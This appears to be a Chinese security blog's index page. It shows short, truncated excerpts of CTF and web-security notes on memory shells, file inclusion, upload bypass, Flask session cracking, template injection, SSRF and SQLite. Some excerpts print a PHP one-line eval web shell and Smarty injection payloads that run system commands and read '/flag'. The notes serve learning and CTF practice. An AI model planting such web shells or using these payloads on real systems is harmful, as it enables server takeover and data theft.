内存马 java类： 在 Java Web 开发中，Listener（监听器）、Filter（过滤器）和Servlet（服务程序） 是三个核心组件，分别在请求生命周期的不同阶段起作用 Servlet ： Java Web 应用中处理 HTTP 请求和响应的核心组件。每个 URL 路由通常由一个 Servlet 处理，负责业务逻辑和返回响应 Filt…

网页F12调试陷入无限断点(Debugger)的解决方法 debugger：当打开DevTools，会触发断点暂停，利用计时器或循环无限设置断点可以反调试 解决方法 第一种：手动关闭断点调试 关闭「异常时暂停」 进入 Sources（源代码） 面板 找到右上角的 ⏸️ 图标（Pause on exceptions） 点击它，直到变成灰色（完全关闭）…

文件包含漏洞 文件包含漏洞全面详解-CSDN博客 文件包含漏洞 | 狼组安全团队公开知识库 CTF·Web基础 | PureStream & Marblue 包含日志文件getshell - myles007 - 博客园 文件包含漏洞利用之包含Session文件 | CN-SEC 中文网 漏洞成因： 文件包含漏洞的产生原因是 PHP 语言在…

文件上传绕过trick： 1：常见的php标签绕过： <?=短标签绕过 <script language='php'>...</script> 2：命令执行函数绕过： ('sys'.'tem') 一句话： <?php @eval($_POST['attack']);?> 改文件格式绕过： image标签： …

用flask_unsign爆破cookie或session 启动： python -m pip install flask_unsign python -m pip install flask_unsign_wordlist 爆破cookie生成私钥： from flask_unsign import Cracker, logger, DEFAUL…

smarty模板注入 语法标签：默认使用{ } 执行php语句： 常见payload： {if phpinfo()}{/if} {if system('ls')}{/if} {if readfile('/flag')}{/if} {if show_source('/flag')}{/if} {if system('cat ../../../flag…

SoapClientSSRF+CRLF Injection+Redis CRLF Injection漏洞的利用与实例分析 - phith0n 利用SoapClient类进行SSRF+CRLF攻击-CSDN博客 soap导致的SSRF-先知社区 SoapClientSSRF： SOAP：webService三要素（SOAP、WSDL、UDDI）之一，…

sqlite： 基本语法： 注释符：-- ，/* */，没有# sqlite3 [路径]/[自定义文件名].[自定义拓展名]      //文件名，拓展名可任意，执行后在对应位置生成对应文件，之后将提供一个 sqlite> 提示符 例：sqlite3 test.db 打开(或创建)数据库： sqlite>.open test.db 导入…

SSRF 概念：攻击者通过该漏洞可以利用服务器端的应用程序发起伪造的请求，一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务，当作跳板进行攻击。因此可以绕过一些基于网络拓扑的安全防护。 注入点： 从URL关键字中寻找：share、wap、u…

tornado模板注入 https://c1oudfl0w0.github.io/blog/2023/12/06/tornado%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#SSTI%E6%B3%A8%E5%85%A5 也是python的，所以跟jinjia很多一样的地方，这里仅列出一些特别的 入口： render和r…